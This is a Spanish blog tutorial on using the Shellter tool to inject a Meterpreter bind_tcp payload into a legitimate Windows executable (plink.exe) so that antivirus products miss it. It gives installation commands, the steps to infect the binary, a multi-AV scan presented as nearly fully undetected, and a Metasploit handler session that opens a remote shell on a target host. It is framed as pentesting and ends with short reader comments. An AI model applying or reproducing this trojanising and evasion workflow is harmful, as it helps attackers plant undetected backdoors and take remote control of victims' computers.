Inyección de shellcodes en ejecutables con Shellter VI

Los ejecutables creados con Metasploit u otros frameworks de pentesting conocidos son detectados por la mayoría de los AV. Una de las herramientas que podemos usar para evadirlos es Shellter, con la que dispondremos de una "plantilla" polimórfica que se puede utilizar para insertar nuestros shellcodes en cualquier ejecutable *standalone nativo de Windows en 32 bits.

* por "standalone" entendemos un ejecutable que no está estáticamente vinculado a cualquier DLL propietaria, además de las incluidas por defecto en Windows. Se podría incluir librerías junto un ejecutable siempre que no sean necesarias para crear inicialmente el proceso, pero ya sabéis que no es recomendable.

Podemos decir que Shellter es una herramienta de inyección dinámica de shellcodes o PE infector. Por lo tanto puede usarse para inyectar shellcodes, tanto propios como los generados con Metasploit, en las aplicaciones nativas de Windows (repetimos: de momento sólo aplicaciones de 32 bits).

Shellter aprovecha la estructura original del archivo PE y no aplica modificaciones fácilmente detectables por los AV, tales como cambiar el permiso de acceso a la memoria en las secciones (a menos que el usuario lo especifique) o la adición de una sección con acceso de RWE. Tampoco es el típico infector que trata de encontrar un lugar para insertar instrucciones para redirigir la ejecución del payload. A diferencia de muchos, el motor de infección avanzado de Shellter nunca transfiere el flujo de ejecución a un code cave o añade una sección en el archivo PE infectado. Entonces, ¿cuál es la magia de Shellter?

Shellter utiliza un enfoque dinámico único que se basa en el flujo de ejecución de la aplicación objetivo. Esto significa que no se utilizan ubicaciones predefinidas o estáticas para la inyección de código shell. Shellter ejecutará y trazará el objetivo, mientras que al mismo tiempo registrará el flujo de ejecución de la aplicación en espacio de usuario. Esto incluye el código dentro de la aplicación en sí misma (imagen PE), y el código fuera de ella que podría ser en un archivo DLL del sistema o sobre un heap, etc ... Esto se hace para asegurar que las funciones realmente pertenecen al ejecutable, pero se usan solamente como funciones de callback para que el API de Windows no las pierda.

Durante el trace, Shellter no registrará o tendrá en cuenta cualquier instrucción que no esté en el rango de memoria de la imagen PE de la aplicación de destino, ya que estos no pueden ser utilizado como una referencia para inyectar de forma permanente el shellcode.

Veamos su uso directamente en Kali Linux y en unos sencillos pasos.

1.- Instalación:

root@kali:~# apt-get update
root@kali:~# apt-get install shellter

Si estás en 64 bits para instalar librerías de 32 bits (multiarch):

root@kali:~# uname -m
x86_64
root@kali:~# dpkg --add-architecture i386 && apt-get update && apt-get install wine32

2.- Ahora copia el ejecutable que queremos infectar dentro del directorio de Shellter. En el ejemplo usaremos plink.exe:

root@kali:~# cd /usr/share/shellter/
root@kali:/usr/share/shellter# cp /usr/share/windows-binaries/plink.exe .

3.- A continuación lanzamos shellter y seleccionamos el modo automático:

root@kali:~# shellter


4.- Posteriormente indicamos el nombre del ejecutable standalone (plink.exe):


5.- En el siguiente paso se nos preguntará si queremos habilitar el modo stealth, si queremos infectar el binario con varios payloads. En el ejemplo no es el caso así que indicaremos que no:


6.- Desde la versión 4.0 Shellter incluye algunos payloads por lo que no será necesario crearlos previamente desde Metasploit. Simplemente seleccionamos el que queremos y listo. En mi caso un bind_tcp de meterpreter que escuche en el puerto 55555.


7.- Después de la última verificación ya tenemos nuestro binario infectado:


root@kali:/usr/share/shellter# ls
icon  plink.exe  shellcode_samples  Shellter_Backups  shellter.exe

Si lo analizáis con un servicio multi-AV veréis que sólo la heurística del AV de Kapersky ha detectado algo sospechoso:

https://nodistribute.com/result/tQevyFUEzLKRwpD18sWb



Practicamente FuD... :)
Ahora sólo nos queda abrir una sesión de meterpreter y ¡a disfrutar!

msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set LPORT 55555
LPORT => 55555
msf exploit(handler) > set RHOST 192.168.2.75
RHOST => 192.168.2.75
msf exploit(handler) > set EnableStageEncoding true
EnableStageEncoding => true
msf exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started bind handler
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (958029 bytes) to 192.168.2.75
[*] Meterpreter session 2 opened (192.168.2.152:44053 -> 192.168.1.75:55555) at 2016-09-14 23:48:39 +0200

Proyecto: https://www.shellterproject.com 

4 comentarios :

  1. Muy buena la entrada! Como siempre, gracias por compartirlo

    ResponderEliminar
  2. Sorry man, look at this blog: https://hexsploit.blogspot.com/2016/09/iniezione-di-shellcode-con-shellter-vi.html?m=1

    ResponderEliminar